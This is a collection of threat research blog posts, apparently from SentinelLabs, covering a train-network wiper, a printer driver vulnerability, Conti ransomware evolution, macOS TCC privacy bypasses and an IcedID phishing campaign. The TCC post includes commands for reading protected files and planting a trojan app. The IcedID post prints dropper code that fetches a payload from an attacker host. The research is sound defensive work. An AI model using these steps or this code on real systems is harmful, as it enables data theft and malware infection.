On the one hand, we have a new externally-configurable wiper packed full of interesting capabilities, involving a mature development process, and redundant means to accomplish their goals. Even their batch scripts include extensive error checking, a feature seldom encountered with deployment scripts. Their attack is designed to cripple the victim’s systems, leaving no recourse to simple remediation via domain administration or recovery of shadow copies.

On the other hand, we see an adversary that doesn’t yet have a handle on their deployment pipeline, using a sample of their malware that contains extensive debug features and burning functionality irrelevant to this particular operation. There’s feature redundancy between different attack components that suggests an uncoordinated division of responsibilities across teams. And files are dispensed in a clunky, verbose, and disorganized manner unbecoming of advanced attackers.

We cannot yet make out the shape of this adversary across the fog. Perhaps it’s an unscrupulous mercenary group. Or the latent effects of external training coming to bear on a region’s nascent operators. At this time, any form of attribution is pure speculation and threatens to oversimplify a raging conflict between multiple countries with vested interests, means, and motive.

Behind this epic troll/stunning provocation there’s a lot more to uncover in getting to know the actor behind MeteorExpress. We should keep in mind that the attackers were already familiar with the general setup of their target, features of the domain controller, and the target’s choice of backup system (Veeam). That implies a reconnaissance phase that flew entirely under the radar and a wealth of espionage tooling that we’ve yet to uncover.

Happy Hunting.

Indicators of Compromise

IoCs and Yara hunting rules available on SentinelLabs GitHub.



The post MeteorExpress | Mysterious Wiper Paralyzes Iranian Trains with Epic Troll appeared first on SentinelLabs.

CVE-2021-3438: 16 Years In Hiding – Millions of Printers Worldwide Vulnerable

20 July 2021 at 10:58

Executive Summary

  • SentinelLabs has discovered a high severity flaw in HP, Samsung, and Xerox printer drivers.
  • Since 2005 HP, Samsung, and Xerox have released millions of printers worldwide with the vulnerable driver.
  • SentinelLabs’ findings were proactively reported to HP on Feb 18, 2021 and are tracked as CVE-2021-3438, marked with CVSS Score 8.8.
  • HP released a security update on May 19th to its customers to address this vulnerability.

As part of our commitment to secure the internet for all users, our researchers have engaged in an open-ended process of vulnerability discovery for targets that impact wide swaths of end users. Our research has been consistently fruitful, particularly in the area of OEM drivers[1, 2]. Many of these drivers come preloaded on devices or get silently dropped when installing some innocuous legitimate software bundle and their presence is entirely unknown to the users. These OEM drivers are often decades old and coded without concern for their potential impact on the overall integrity of those systems.

Our research approach has allowed us to proactively engage with vendors and manufacturers to patch previously unknown vulnerabilities before they can be exploited in the wild. We will continue our efforts to reduce the overall attack surface available to cunning adversaries.

Discovering an HP Printer Driver Vulnerability

Several months ago, while configuring a brand new HP printer, our team came across an old printer driver from 2005 called SSPORT.SYS thanks to an alert by Process Hacker once again.

This led to the discovery of a high severity vulnerability in HP, Xerox, and Samsung printer driver software that has remained hidden for 16 years. This vulnerability affects a very long list of over 380 different HP and Samsung printer models as well as at least a dozen different Xerox products.

The beginning of a long list of affected HP and Samsung products
A number of Xerox Products are also affected by CVE-2021-3438

Since all of these models are in fact manufactured by HP, we reported the vulnerability to them.

Technical Details

Just by running the printer software, the driver gets installed and activated on the machine regardless of whether you complete the installation or cancel.

Thus, in effect, this driver gets installed and loaded without even asking or notifying the user. Whether you are configuring the printer to work wirelessly or via a USB cable, this driver gets loaded. In addition, it will be loaded by Windows on every boot:

This makes the driver a perfect candidate to target since it will always be loaded on the machine even if there is no printer connected.

The vulnerable function inside the driver accepts data sent from User Mode via IOCTL (Input/Output Control) without validating the size parameter:

The vulnerable function inside the driver

This function copies a string from the user input using strncpy with a size parameter that is controlled by the user. Essentially, this allows attackers to overrun the buffer used by the driver.

An interesting thing we noticed while investigating this driver is this peculiar hardcoded string: "This String is from Device [email protected]@@@ ".

The hardcoded string in the vulnerable driver

It seems that HP didn’t develop this driver but copied it from a project in Windows Driver Samples by Microsoft that has almost identical functionality; fortunately, the MS sample project does not contain the vulnerability.


An exploitable kernel driver vulnerability can lead an unprivileged user to a SYSTEM account and run code in kernel mode (since the vulnerable driver is locally available to anyone). Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.

Successfully exploiting a driver vulnerability might allow attackers to potentially install programs, view, change, encrypt or delete data, or create new accounts with full user rights. Weaponizing this vulnerability might require chaining other bugs as we didn’t find a way to weaponize it by itself given the time invested.


Generally speaking, it is highly recommended that in order to reduce the attack surface provided by device drivers with exposed IOCTLs handlers, developers should enforce strong ACLs when creating kernel device objects, verify user input and not expose a generic interface to kernel mode operations.


This vulnerability and its remedies are described in HP Security Advisory HPSBPI03724 and Xerox Advisory Mini Bulletin XRX21K. We recommend HP/Samsung/Xerox customers, both enterprise and consumer, to apply the patch as soon as possible.

To mitigate this issue users should use this link and look for their printer model and then download the patch file as shown in the picture:

Some Windows machines may already have this driver without even running a dedicated installation file, since the driver comes with Microsoft Windows via Windows Update:

The driver is marked as “File Distributed by Microsoft” in VirusTotal

Note: Not all affected products were initially listed on the advisory page. We initially conducted a small sample test and found other products vulnerable, so we recommend further verification.


This high severity vulnerability, which has been present in HP, Samsung, and Xerox printer software since 2005, affects  millions of devices and likely millions of users worldwide. Similar to previous vulnerabilities we have disclosed that remained hidden for 12 years (1, 2), the impact this could have on users and enterprises that fail to patch is far-reaching and significant.

While we haven’t seen any indicators that this vulnerability has been exploited in the wild up till now, with millions of printer models currently vulnerable, it is inevitable that if attackers weaponize this vulnerability they will seek out those that have not taken the appropriate action.

We would like to thank HP for their approach to our disclosure and for remediating the vulnerabilities quickly.

Disclosure Timeline

18 Feb, 2021 – Initial report.
23 Feb, 2021 – We notified HP that the same issue exists in Samsung and Xerox printers.
19 May, 2021 – HP released an advisory for CVE-2021-3438.
20 May, 2021 – We notified HP that the “affected products” listing is incomplete and provided extra information.
01 Jun, 2021 – HP updated the list of affected products.

The post CVE-2021-3438: 16 Years In Hiding – Millions of Printers Worldwide Vulnerable appeared first on SentinelLabs.

Conti Unpacked | Understanding Ransomware Development As a Response to Detection

8 July 2021 at 15:56

By Idan Weizman & Antonio Pirozzi

Not yet two years old and already in its seventh iteration, Ransomware as a Service variant Conti has proven to be an agile and adept malware threat, capable of both autonomous and guided operation and with unparalleled encryption speed. As of June 2021, Conti’s unique feature set has helped its affiliates extort several million dollars from over 400 organizations.

In this report, we describe in unprecedented detail the rapid evolution of this ransomware and how it has adapted quickly to defenders’ attempts to detect and analyze it. In this post, we summarize our main findings.

Read the Full Report

Conti Background

Conti is developed and maintained by the so-called TrickBot gang, and it is mainly operated through a RaaS affiliation model. The Conti ransomware is derived from the codebase of Ryuk and relies on the same TrickBot infrastructure.

Initially, Ryuk and later Conti were delivered exclusively by TrickBot. However, by March 2021, as detections for TrickBot improved, BazarLoader/BazarBackdoor began to be used as the tool of choice for the delivery of Conti.

Conti samples first began to be seen around October 2019. Recent attacks, such as that on Ireland’s public health service, demonstrate that Conti has succeeded in becoming just as dangerous if not more so than its predecessor, for both organizations and the public at large. There are 399 reported Conti incidents at the time of writing:

Reported Conti incidents – Source: DarkTracer

In common with many other ransomware families, Conti also operates a leaks site in order to put further pressure on its victims to pay.

Conti – Evolution With Focus

This technical analysis aims to outline the Conti phylogenesis since the ransomware first appeared on the scene, in order to build a comprehensive knowledge of Conti’s evolution and its development pipeline.

For this study, we clustered Conti samples by timestamps. All the samples used in this research are readily available from OSINT and are recognized as Conti both by the community and by static and dynamic analysis done herein.

We found that each iteration implemented new features in Conti and evolved existing ones. In particular, we see a focus on the following key ransomware characteristics across the evolution of Conti variants:

Obfuscation: Since the early ‘test samples’ (late 2019), Conti started implementing a simple XOR mechanism to hide the API names resolved at runtime. From June 2020, a custom encoding function for string obfuscation was also employed, creating difficulties for static analysis and detection tools.

Speed: Conti uses up to 32 concurrent CPU threads for file encryption operations. Starting from the iteration of September 2020, the developers switched from AES to the CHACHA algorithm to further speed up the encryption process. This translates into less time required to lock victims’ data and reduce the chance of the operation being blocked.

File Encryption: starting from September 2020, a new logic for file encryption was added. The logic implements two different modes: full and partial. depending on file extension and file dimension. From January 2021, encryption through IoCompletionPorts was replaced by C++ queues and locks.

The Early Samples

The earliest sample of Conti we found dates from the end of 2019 and includes indications that it’s an early test version (e.g., the ransom note contains the text “test note”). It took eight months for this version to make headlines, but analysis of this ‘prototype’ helps us understand how Conti developed over time.

SHA-256: 2f334c0802147aa0eee90ff0a2b0e1022325b5cba5cb5236ed3717a2b0582a9c
Packed: Yes
Timestamp: 2019/10/06 14:08:28
File Type: EXE

SHA-256: 4f43a66d96270773f4e849055a844feb6ef234d7340b797f8763b7a9f8d80583
Packed: Yes
Timestamp: 2019/10/06 12:43:23
File Type: DLL

SHA-256: 94bdec109405050d31c2748fe3db32a357f554a441e0eae0af015e8b6461553e
Packed: No
Timestamp: 2019/10/21 15:00:01
File Type: EXE

SHA-256: 77b1fcae9e8f0a5a739c35961382e2b3f239a05c1135c4a8efe1964a263d5a47
Packed: No
Timestamp: 2019/10/21 15:00:01
File Type: EXE

These early samples have only a few imported functions linked at load time. Therefore, the first thing the code does is manually load required libraries at runtime using LoadLibraryA and GetProcAddress.

Moreover, all API names are encoded using a simple XOR with the byte 0x99. The names of DLLs are not encoded in this early version, save for some optional imports from Rstrtmgr.dll, the DLL responsible for Microsoft’s Windows’ Restart Manager function. The GetProcAddress function ends by making sure it’s got all the mandatory APIs it was looking for. Otherwise, it exits the program with ExitProcess.

Getting the last import and checking all imports are found

Two resources loaded from the PE file are of particular note. The first will be used as the text for the ransom note (which is set to “test note” in this earliest version), while the second is a list of comma-separated strings denoting files that should be encrypted in case they contain a substring from the list.

The hardcoded ransom note

In cases where the resource has a value of “null”, all files are encrypted except for a hardcoded list. This allows for simple modifications to the ReadMe text or for targeted encryption of specific files, without recompiling the ransomware.

In this early version, all running processes on the system are iterated. Processes containing “sql” in them are terminated with TerminateProcess.

Terminating processes containing ‘sql’

Our full technical report explores more details of this prototype version, but the last point we shall note here is that at the end of the encryption process, the file will be moved, adding the extension .CONTI to the end of it.

Conti Appears In The Wild

Two months later a new version appeared with the inclusion of a real ransom note instead of the embedded “test note”. Other minor changes include changes to the XOR key from 0x99 to 0x0F. More significantly, the ransomware now loads all imports at runtime, with the exception of LoadLibraryA, GetProcAddress, and for some unknown reason, CreateThread. This import is used to boost speed through parellelization as the ransomware looks for files to encrypt across all available drives.

Six months later, in July 2020, Conti had a third iteration and hit the headlines for the first time. String obfuscation has received a significant upgrade with the single-byte XOR key replaced by a custom encoding function, represented by the following pseudo code:

Improved string obfuscation method

The constants (a, b) are different for every encoded string. Additionally, more strings are obfuscated in comparison with the previous samples, although some are still left open on the stack (i.e., DLL names).

There are further changes to how APIs are loaded, but a noticeable lack of consistency, which reinforces the view that multiple developers with different areas of responsibility may be involved in Conti.

A notable new feature is the ability to accept command line arguments, meaning Conti can now be controlled by a human operator for improved targeting. The options include the ability to select the encryption mode (only local, only SMB shares, or both) as well as allowing a list of network locations to search for shares, and adding files found on such shares to the encryption list.

Conti’s Developers Respond To Detection Engines

By September 2020, Conti was making bigger waves, with press reports of an attack on the Fourth District Court of Louisiana claiming the U.S. court’s website was knocked offline and that stolen documents relating to defendants, witnesses and jurors were leaked.

By this time, Conti was on the radar of most endpoint security solutions and the developers clearly took notice. The next iteration includes a greater number of changes than the previous versions, with a heavy emphasis on evasion and anti-analysis.

For the most part, Conti now does not embed the plain names of DLLs and their required exports, but instead, only keeps a hash of the strings it needs. To get the requisite imports, it iterates through NtCurrentPeb()->Ldr->InLoadOrderModuleList, at first looking for the module kernel32.dll by the hash of its name, later on finding the LoadLibraryA API in the same manner, iterating over exports until the hashes match.

Only kernel32.dll is found by hash. The rest of the DLL names are embedded in the executable, now obfuscated, and are loaded using the LoadLibraryA API.

A newly implemented hook removal logic takes place after loading all the necessary DLLs. For each loaded DLL, Conti reads its file on disk and goes through all the exports in it, looking for a difference in the first few bytes. If any such difference is found between the disk version and the in-memory version, the bytes in memory are replaced by the bytes read from disk. This feature is aimed at bypassing some modern EPP/EDR platforms. Security products will often hook processes in order to fully monitor malicious activity. Conti targets this methodology specifically in the hopes of disarming security products lacking robust anti-tamper features.

There are a number of significant changes to the main logic, features and encryption, explored in greater detail in the full technical report. For example, the encryption algorithm is changed from AES to ChaCha. The keys are still generated randomly per file and written to the end of the file after being encrypted with an embedded RSA public key located in the data section of the binary.

Ever-focused on speed to beat mitigation attempts, Conti now includes a hardcoded list of 171 file extensions for which the whole content of the file is encrypted along with a further list of 20 file extensions for which only some part of the file is encrypted. Other files are categorized by size such that:

  • Files smaller than 1MiB are encrypted whole.
  • Files larger than 1MiB and smaller than 5MiB have only their first 1MiB encrypted.
  • Files larger than 5MiB are partially encrypted in jumps.

The extension of encrypted files is now changed from .CONTI to .YZXXX in a bid to avoid simple ransomware detection logic based on known extension changes.

Refining a Successful RaaS Model

Late 2020 saw further iteration with Conti now refining its ransom note to contain more contact information including website, TOR node, email and a “customer” UUID.

Example of recent Conti ransom note

Affiliates were offered a new command line option for logging errors as well as other improvements. To keep detection engines at bay, Conti included more dead code and busy loops to hinder simulation and static analysis.

Through early 2021, the developers changed the seed for their custom hash function twice across two more iterations. From this point on, we find samples more frequently, both packed and unpacked. Some samples are practically the same, except for the embedded public RSA key, the extension used for encrypted files, and the text placed inside the ReadMe file. Other than that, most changes going forward per new sample are minor.


We took a deep dive into the evolution of Conti ransomware, gaining some insight into the process of developing ransomware. Most notably, we saw how many changes take place to increase the evasiveness of the malware from detections and complicate the analysis process. Most meaningful changes and additions to the ransomware were done prior to September-October 2020, at which point, the developers needed only to make minor refinements to stay ahead of the detection curve and keep the money rolling in for their affiliates. Today, Conti is a mature project that is being used actively and aggressively to compromise and extort victims on a daily basis. Read the full report for further details and a complete list of IOCs.

Read the Full Report

Read the Full Report

The post Conti Unpacked | Understanding Ransomware Development As a Response to Detection appeared first on SentinelLabs.

Bypassing macOS TCC User Privacy Protections By Accident and Design

1 July 2021 at 14:17

Executive Summary

  • TCC is meant to protect user data from unauthorized access, but weaknesses in its design mean that protections are easily overridden inadvertently.
  • Automation, by design, allows Full Disk Access to be ‘backdoored’ while also lowering the authorization barrier.
  • Multiple partial and full TCC bypasses are known, with at least one actively exploited in the wild.
  • TCC does not prevent processes reading and writing to ‘protected’ locations, a loophole that can be used to hide malware.


In recent years, protecting sensitive user data on-device has become of increasing importance, particularly now that our phones, tablets and computers are used for creating, storing and transmitting the most sensitive data about us: from selfies and family videos to passwords, banking details, health and medical data and pretty much everything else.

With macOS, Apple took a strong position on protecting user data early on, implementing controls as far back as 2012 in OSX Mountain Lion under a framework known as ‘Transparency, Consent and Control’, or TCC for short. With each iteration of macOS since then, the scope of what falls under TCC has increased to the point now that users can barely access their own data – or data-creating devices like the camera and microphone – without jumping through various hoops of giving ‘consent’ or ‘control’ to the relevant applications through which such access is mediated.

There have been plenty of complaints about what this means with regards to usability, but we do not intend to revisit those here. Our concern in this paper is to highlight a number of ways in which TCC fails when users and IT admins might reasonably expect it to succeed.

We hope that by bringing attention to these failures, users and admins might better understand how and when sensitive data can be exposed and take that into account in their working practices.

Crash Course: What’s TCC Again?

Apple’s latest platform security guide no longer mentions TCC by name, but instead refers to ‘protecting app access to user data’. The current version of the platform security guide states:

“Apple devices help prevent apps from accessing a user’s personal information without permission using various technologies…[in] System Preferences in macOS, users can see which apps they have permitted to access certain information as well as grant or revoke any future access.”

In common parlance, we’re talking about privacy protections that are primarily managed by the user in System Preferences’ Privacy tab of the Security & Privacy pane.

System Preferences.app provides the front-end for TCC

Mac devices controlled by an MDM solution may also set various privacy preferences via means of a Profile. Where in effect, these preferences will not be visible to users in the Privacy pane above. However, they can be enumerated via the TCC database. The command for doing so changes slightly with Big Sur and later.

macOS 11 (Big Sur) and later:

sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "SELECT client,auth_value FROM access WHERE service=='kTCCServiceSystemPolicyAllFiles'" | grep '2'$

macOS 10.15 (Catalina) and earlier:

sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "SELECT client,allowed FROM access WHERE service == 'kTCCServiceSystemPolicyAllFiles'" | grep '1'$

The command line also presents users and administrators with the /usr/bin/tccutil utility, although its claim to offer the ability “to manage the privacy database” is a little exaggerated since the only documented command is reset. The tool is useful if you need to blanket wipe TCC permissions for the system or a user, but little else.

The spartan man page from tccutil

Under the hood, all these permissions are managed by the TCC.framework at /System/Library/PrivateFrameworks/TCC.framework/Versions/A/Resources/tccd.

Strings in tccd binary reveal some of the services afforded TCC protection

Looked at in a rather narrow way with regard to how users work with their Macs in practice, one could argue that the privacy controls Apple has designed with this framework work as intended when users (and apps) behave as intended in that narrow sense. However, as we shall now see, problems arise when one or both go off script.

Full Disk Access – One Rule That Breaks Them All

To understand the problems in Apple’s implementation of TCC, it’s important to understand that TCC privileges exist at two levels: the user level and the system level. At the user level, individual users can allow certain permissions that are designed only to apply to their own account and not others. If Alice allows the Terminal access to her Desktop or Downloads folders, that’s no skin off Bob’s nose. When Bob logs in, Terminal won’t be able to access Bob’s Desktop or Downloads folders.

At least, that’s how it’s supposed to work, but if Alice is an admin user and gives Terminal Full Disk Access (FDA), then Alice can quite happily navigate to Bob’s Desktop and Downloads folders (and everyone else’s) regardless of what TCC settings Bob (or those other users) set. Note that Bob is not afforded any special protection if he is an admin user, too. Full Disk Access means what it says: it can be set by one user with admin rights and it grants access to all users’ data system-wide.

While this may seem like good news for system administrators, there are implications that may not be readily apparent, and these implications affect the administrator’s own data security.

When Alice grants FDA permission to the Terminal for herself, all users now have FDA permission via the Terminal as well. The upshot is that Alice isn’t only granting herself the privilege to access others’ data, she’s granting others the privilege to access her data, too.

Surprisingly, Alice’s (no doubt) unintended permissiveness also extends to unprivileged users. As reported in CVE-2020-9771, allowing the Terminal to have Full Disk Access renders all data readable without any further security challenges: the entire disk can be mounted and read even by non-admin users. Exactly how this works is nicely laid out in this blog post here, but in short any user can create and mount a local snapshot of the system and read all other users’ data.

Even Standard users can read Admin’s private data

The ‘trick’ to this lies in two command line utilities, both of which are available to all users: /usr/bin/tmutil and /sbin/mount. The first allows us to create a local snapshot of the entire system, and the second to mount that snapshot as an apfs read-only file system. From there, we can navigate all users data as captured on the mounted snapshot.

It’s important to understand that this is not a bug and will not be fixed (at least, ‘works as intended’ appears to be Apple’s position at the time of writing). The CVE mentioned above was the bug for being able to exploit this without Full Disk Access. Apple’s fix was to make it only possible when Full Disk Access has been granted. The tl;dr for Mac admins?

When you grant yourself Full Disk Access, you grant all users (even unprivileged users) the ability to read all other users’ data on the disk, including your own.

Backdooring Full Disk Access Through Automation

This situation isn’t restricted only to users: it extends to user processes, too. Any application granted Full Disk Access has access to all user data, by design. If that application is malware, or can be controlled by malware, then so does the malware. But application control is managed by another TCC preference, Automation.

And here lies another trap: there is one app on the Mac that always has Full Disk Access but never appears in the Full Disk Access pane in System Preferences: the Finder.

Any application that can control the Finder (listed in ‘Automation’ in the Privacy pane) also has Full Disk Access, although you will see neither the Finder nor the controlling app listed in the Full Disk Access pane.

Because of this complication, administrators must be aware that even if they never grant FDA permissions, or even if they lock down Full Disk Access (perhaps via MDM solution), simply allowing an application to control the Finder in the ‘Automation’ pane will bypass those restrictions.

Automating the Finder allows the controlling app Full Disk Access

In the image above, Terminal, and two legitimate third party automation apps, Script Debugger and FastScripts, all have Full Disk Access, although none are shown in the Full Disk Access privacy pane:

Apps that backdoor FDA through Automation are not shown in the FDA pane

As noted above, this is because the Finder has irrevocable FDA permissions, and these apps have been given automation control over the Finder. To see how this works, here’s a little demonstration.

~  osascript<<EOD
set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

Although the Terminal is not granted Full Disk Access, if it has been granted Automation privileges for any reason in the past, executing the script above in the Terminal will return the contents of whatever the file “private.txt” contains. As “private.txt” is located on the user’s Desktop, a location ostensibly protected by TCC, users might reasonably expect that the contents of this file would remain private if no applications had been explicitly granted FDA permissions. This is demonstrably not the case.

Backdooring FDA access through automating the Finder

The obvious mitigation here is not to allow apps the right to automate the Finder. However, let’s note two important points about that suggestion.

First, there are many legitimate reasons for granting automation of the Finder to the Terminal or other productivity apps: any mildly proficient user who is interested in increasing their productivity through automation may well have done so or wish to do so. Unfortunately, this is an “All-In” deal. If the user has a specific purpose for doing this, there’s no way to prevent other less legitimate uses of Terminal’s (or other programs’) use of this access.

Second, backdooring FDA access in this way results in a lowering of the authorization barrier. Granting FDA in the usual way requires an administrator password. However, one can grant consent for automation of the Finder (and thus backdoor FDA) without a password. A consent dialog with a simple click-through will suffice:

A simple ‘OK’ gives access to control the Finder, and by extension Full Disk Access.

While the warning text is explicit enough (if the user reads it), it is far from transparent that given the Finder’s irrevocable Full Disk Access rights, the power being invested in the controlling app goes far beyond the current user’s consent, or control.

As a bonus, this is not a per-time consent. If it has ever been granted at any point in the past, then that permission remains in force (and thus transparent, in the not-good sense, to the user) unless revoked in System Preferences ‘Automation’ pane or via the previously mentioned tccutil reset command.

The tl;dr: keep a close and regular eye on what is allowed to automate the Finder in your System Preferences Privacy pane.

The Sorry Tale of TCC Bypasses

Everything we’ve mentioned so far is actually by design, but there is a long history of TCC bypasses to bear in mind as well. When macOS Mojave first went on public release, SentinelOne was the first to note that TCC could be bypassed via SSH (this finding was later duplicated by others). The indications from multiple researchers are that there are plenty more bypasses out there.

The most recent TCC bypass came to light after it was discovered being exploited by XCSSET malware in August 2020. Although Apple patched this particular flaw some 9 months later in May 2021, it is still exploitable on systems that haven’t been updated to macOS 11.4 or the latest security update to 10.15.7.

On a vulnerable system, it’s trivially easy to reproduce.

  1. Create a simple trojan application that needs TCC privileges. Here we’ll create an app that needs access to the current user’s Desktop to enumerate the files saved there.
    % osacompile -e 'do shell script "ls -al /Users/sphil/Desktop >> /tmp/lsout"' -o /tmp/ls.app
  2. Copy this new “ls.app” trojan to inside the bundle of an app that’s already been given TCC permission to access the Desktop.
    % cp -R /tmp/ls.app /Applications/Some\ Privileged.app/

    One way you can find the current permitted list of apps is from the ‘Files and Folders’ category in the Privacy tab of System Preferences’ Security & Privacy pane (malware takes another route, as we’ll explain shortly).

  3. Execute the trojan app:
    % open /Applications/Some\ Privileged.app/ls.app

Security-minded readers will no doubt be wondering how an attacker achieves Step 2 without already having knowledge of TCC permissions – you can’t enumerate the list of privileged apps in the TCC.db from the Terminal unless Terminal already has Full Disk Access.

Assuming the target hasn’t already granted Terminal FDA privileges for some other legitimate reason (and who hasn’t these days?), an attacker, red teamer or malware could instead enumerate over the contents of the /Applications folder and take educated guesses based on what’s found there, e.g., Xcode, Camtasia, and Zoom are all applications that, if installed, are likely to be privileged.

Similarly, one could hardcode a list of apps known to have such permissions and search the target machine for them. This is precisely how XCSSET malware works: the malware is hardcoded with a list of apps that it expects to have screen capture permissions and injects its own app into the bundle of any of those found.

Decoded strings from XCSSET malware reveals a list of apps it exploits for TCC permissions

Unfortunately, the fix for this particular bug doesn’t effectively stop malware authors. If the bypass fails, it’s a simple matter to just impersonate the Finder and ask the user for control. As with the Automation request, this only requires the user to click-through their consent rather than provide a password.

Fake Finder App used by XCSSET malware to access protected areas

As we noted above, the (real) Finder already has Full Disk Access by default, so users seeing a request dialog asking to grant the Finder access to any folder should immediately raise suspicion that something is amiss.

TCC – Just One More Thing

That almost wraps up our tour of TCC gotchas, but there’s one more worth pointing out. A common misunderstanding with Apple’s User privacy controls is that it prevents access to certain locations (e.g., Desktop, Documents, Downloads, iCloud folders). However, that is not quite the case.

Administrators need to be aware that TCC doesn’t protect against files being written to TCC protected areas by unprivileged processes, and similarly nor does it stop files so written from being read by those processes.

A process can write to a TCC protected area, and read the files it writes

Why does this matter? It matters because if you have any kind of security or monitoring software installed that doesn’t have access to TCC-protected areas, there’s nothing to stop malware from hiding some or all of its components in these protected areas. TCC isn’t going to stop malware using those locations – a blind spot that not every Mac sys administrator is aware of – so don’t rely on TCC to provide some kind of built-in protected ‘safe-zone’. That’s not how it works, when it works at all.


We’ve seen how macOS users can easily and unknowingly expose data they think is protected by TCC simply by doing the things that macOS users, particularly admins, are often inclined to do. Ironically, most of these ‘inadvertent breaches’ are only possible because of TCC’s own lack of transparency. Why, for example, is the Finder not listed in the Full Disk Access pane? Why is it not clear that Automation of the Finder backdoors Full Disk Access? And why is password-authentication downgraded to a simple consent prompt for what is, effectively, the same privilege?

Other questions raised by this post concern whether consent should have finer grained controls so that prompts can be optionally repeated at certain intervals, and – perhaps most importantly –  whether users should be able to protect their own data by being allowed to opt out of FDA granted by other users on the same device.

We know that malware abuses some of these loopholes, and that various TCC bugs exist that have yet to be patched. Our only conclusion at this point has to be that neither users nor admins should place too much faith in the ability of TCC as it is currently implemented to protect data from unauthorized access.

The post Bypassing macOS TCC User Privacy Protections By Accident and Design appeared first on SentinelLabs.

Evasive Maneuvers | Massive IcedID Campaign Aims For Stealth with Benign Macros

24 June 2021 at 17:00

Executive Summary

  • SentinelLabs has uncovered a recent IcedID campaign and analyzed nearly 500 artifacts associated with the attacks.
  • IcedID Office macro documents use multiple techniques in an attempt to bypass detection.
  • To further obfuscate the attack, data embedded in the document itself is used by the malicious macro. Analyzing only the macro provides an incomplete view of the attack.
  • The HTA dropper embedded in the document is obfuscated JavaScript, which executes in memory and utilizes additional techniques to evade AV/EDR.


Many security researchers thought that IcedID would be the successor to Emotet after the coordinated takedown of Emotet malware in early 2021 by law enforcement agencies. IcedID (aka BokBot) was designed as a banking trojan targeting victims’ financial information and acting as a dropper for other malware. Initially discovered in 2017, IcedID has become a prominent component in financially-driven cybercrime. The malware is primarily spread via phishing emails typically containing Office file attachments. The files are embedded with malicious macros that launch the infection routine, which retrieves and runs the payload.

In May 2021, SentinelLabs observed a new campaign delivering IcedID through widespread phishing emails laced with poisoned MS Word attachments that use a simple but effective technique to avoid suspicion. This ongoing IcedID campaign attempts to gain a foothold on the victim’s machine through a crafted Word doc in which the embedded macro itself does not contain any malicious code.

Just like a genuine macro, the IcedID macro operates on the content of the document itself. In this case, that content includes obfuscated JavaScript code. This simple technique helps to evade many automated static and dynamic analysis engines since the content’s malicious behavior is dependent upon execution through an MS Office engine.

The obfuscated JavaScript is responsible for dropping a Microsoft HTML Application (HTA) file to C:\Users\Public. The macro then employs Internet Explorer’s mshta.exe utility to execute the HTA file. This second stage execution reaches out to the attacker’s C2 and downloads a DLL file with a .jpg extension to the same Public folder. The HTA file calls rundll32 to execute this payload, which serves to collect and exfiltrate user data to the attacker’s C2.

Below we present further technical details of this recent campaign from examination of almost 500 artifacts.

Technical Analysis

The IcedID phishing email contains what looks like an innocuous enough Word attachment. As expected with these kinds of malware operations, opening the document prompts the user to enable editing and then ‘Enable content’.

Targets are prompted to enable macros when opening the maldoc

What is unexpected is that the macro itself is uninteresting.

The VBA macros contained in the document

In this case, the malicious code is found within the document itself, reversed JavaScript that is then base64 encoded.

Obfuscated code in the document.xml

The MS Word macro writes this code out as an HTA file to C:\Users\Public\. While this ensures success in terms of user permissions, arguably this is an operational mistake from the attacker’s side in the sense that this folder is a location generally monitored by security products.

The HTA code is executed by the macro using the GetObject() and Navigate() functions. This behavior is a “VB Legacy” technique that conforms to how older Office macro files behave.

Part of the VBA code embodied in the Word Document

Once the HTA code is running, it deobfuscates the JavaScript code in-memory and utilizes two additional techniques in an attempt to evade AV/EDR security controls:

  • The HTA file contains msscriptcontrol.scriptcontrol COM component, which is used to execute interactively with JavaScript.
  • The code calls JavaScript functions from VBScript code within the HTA. This technique also confuses different code and activity tracking engines within certain endpoint security products.
HTA file dropped in the Public folder

Below is the deobfuscated and ‘beautified’ version of the code from the HTA file.

var memoryVb = new ActiveXObject("msxml2.xmlhttp");
memoryVb.open("GET", "hxxp[:]//awkwardmanagement2013z[.]com/adda/hMbq4kHp63r/qv2KrtCyxsQZG2qnnjAyyS2THO0dNJcShIQ/mF4QLSMm/daIPccWw5X/Hpoop0jx2JCAW2rMXVnPrPu/JoSE6bOyTrt/lun6?sid=Kbgn&cid=yvlBl2mDXC7d6A6q&gRqB5BwPw=3P3WdrE&user=Ma", false);
if (memoryVb.status == 200) {

	try {
		var rightClass = new ActiveXObject("adodb.stream");
		rightClass.type = 1;
		rightClass.savetofile("c:\\users\\public\\sizeTempStruct.jpg", 2);
	} catch (e) {}

The code initializes an MSXML2.XMLHTTP request and specifies the method, URL, and authentication information for the request. If the URL responds with a status code of 200, the code proceeds by downloading the remote file with a “.jpg” file extension. Unsurprisingly, the file is not what it pretends to be.

Looking at related domains by the same actor shows the breadth of activity. When tracking this campaign, the domain mappingmorrage[.]top had numerous duplicates of the “.jpg” file and the second stage binary associated with this campaign. Multiple file names are used such as “sizeQuery.jpg”, “sizeTempStruct.jpg”, “tmpSizeLocal.jpg” and so on.

IcedID related files on VirusTotal


Changing file extensions is a common, if unsophisticated, technique aimed at evasion. In this case, the “.jpg” file is actually a DLL. Analysis of the file’s exports reveals the DLLRegisterServer function, which is an obvious candidate for the initial installer of the IcedID malware.

PE Studio

To unpack this binary, we can load rundll32.exe in xdbg64 and use the command line option to specify the exported function in sizeTeamStruct.dll, as shown in the screenshot below.

Loading rundll + DLL with the exported function

To get to the packed binary, we need to add a breakpoint on VirtualAlloc and execute the run command until the breakpoint is hit. We want to look for the call that is responsible for allocating memory in the address space and dump the binary from the address location.

Unpacked IcedID

Looking at the dumped binary in PE Studio what catches the attention are the WinHttpOpenRequest, WinHttpSendRequest, and WinHttpReceiveResponse functions.

The WinHttpOpenRequest creates an HTTP request handle and stores the specified parameters in that handle, while WinHttpSendRequest sends the specified request to the C2 server and the WinHttpReceiveResponse waits to receive the response.

PE Studio with the unpacked IcedID

After loading the binary into xdbg64, we add the breakpoint on WinHttpOpenRequest. When this breakpoint is hit, we can see from the disassembly that the code is generating the domain through an xoring operation. This helps us to understand how the C2 value is generated.

Checking aws.amazon.com connectivity

Some of the domains collected from our analysis of around 500 samples of IcedID included:


These appear to be masked through CloudFlare IPs. For example,


